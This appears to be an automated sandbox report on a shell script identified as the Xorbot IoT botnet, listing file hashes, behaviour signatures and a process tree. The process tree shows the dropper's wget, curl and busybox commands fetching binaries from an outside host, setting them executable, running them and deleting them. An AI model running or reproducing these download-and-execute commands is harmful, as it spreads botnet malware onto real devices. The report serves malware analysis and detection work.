Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    73s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/12/2024, 02:45

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    c3f019a7352fe8f83f6e1dc7cfe4cc11

  • SHA1

    46878d89421696772fb817f1ab2c3da137b30002

  • SHA256

    9faabe01ff89b4a68e68ac5fded815e7a1574057482f7ed301b94feb9cbb1e52

  • SHA512

    f1ba2cce684b38f648a4ef5e5a92ab414b7d8687d4da0be9dd658cef9527fb8516db95955aa56c9e138a274d00362250a387d85fbe4576713debc0c6cbecf58e

  • SSDEEP

    96:YlFpLokYL6yQMrMHMJ9GWeDEDIDD+WBLvDHNNNNNuF5jL990LDfBVrVHVGXHlUjg:p4y8HJ1GXHlTwg01o0J1GXHDwgs1E

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:655
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/KGtLzINmZY4aCKpq1VnoAaFNo3EDcw4DBL
          2⤵
          • System Network Configuration Discovery
          PID:660
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/KGtLzINmZY4aCKpq1VnoAaFNo3EDcw4DBL
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:665
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/KGtLzINmZY4aCKpq1VnoAaFNo3EDcw4DBL
          2⤵
          • System Network Configuration Discovery
          PID:768
        • /bin/chmod
          chmod 777 KGtLzINmZY4aCKpq1VnoAaFNo3EDcw4DBL
          2⤵
          • File and Directory Permissions Modification
          PID:769
        • /tmp/KGtLzINmZY4aCKpq1VnoAaFNo3EDcw4DBL
          ./KGtLzINmZY4aCKpq1VnoAaFNo3EDcw4DBL
          2⤵
          • Executes dropped EXE
          PID:770
        • /bin/rm
          rm KGtLzINmZY4aCKpq1VnoAaFNo3EDcw4DBL
          2⤵
            PID:772
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/5YLNvCLIx3rjUO1nLrd4RLbDA1Pltj1A4E
            2⤵
            • System Network Configuration Discovery
            PID:773
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/5YLNvCLIx3rjUO1nLrd4RLbDA1Pltj1A4E
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:776

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/KGtLzINmZY4aCKpq1VnoAaFNo3EDcw4DBL
          Filesize

          99KB

          MD5

          9438d9bc392bcf300a5583b6df5bc8f6

          SHA1

          375a6ae34b516f6f3eeea8030c4084f585017efa

          SHA256

          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

          SHA512

          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

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